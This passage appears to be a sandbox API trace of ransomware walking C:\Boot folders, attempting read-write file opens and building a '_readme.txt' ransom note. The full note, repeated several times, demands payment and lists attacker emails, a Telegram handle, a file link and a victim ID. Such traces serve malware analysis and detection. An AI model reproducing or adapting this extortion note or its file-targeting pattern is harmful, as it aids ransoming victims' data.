[0112.826] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0112.826] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.826] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0112.826] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.827] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0112.827] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.827] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.827] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.827] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.827] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0112.827] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.827] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.827] PathFindFileNameW (pszPath="") returned="" [0112.827] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.827] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.827] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.827] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.827] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0112.828] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0112.828] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.828] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.828] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.828] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.828] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0112.828] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.828] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.828] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.828] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.828] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0112.828] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.828] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.829] PathFindFileNameW (pszPath="") returned="" [0112.829] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.829] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.829] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.829] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0112.829] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0112.829] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.829] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.829] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.830] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.830] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0112.830] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.830] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.830] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.830] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.830] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0112.830] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.830] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.830] PathFindFileNameW (pszPath="") returned="" [0112.830] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.831] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.831] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.831] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.831] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0112.831] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0112.831] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.831] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.831] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.831] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.831] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0112.831] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.831] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.832] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.832] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 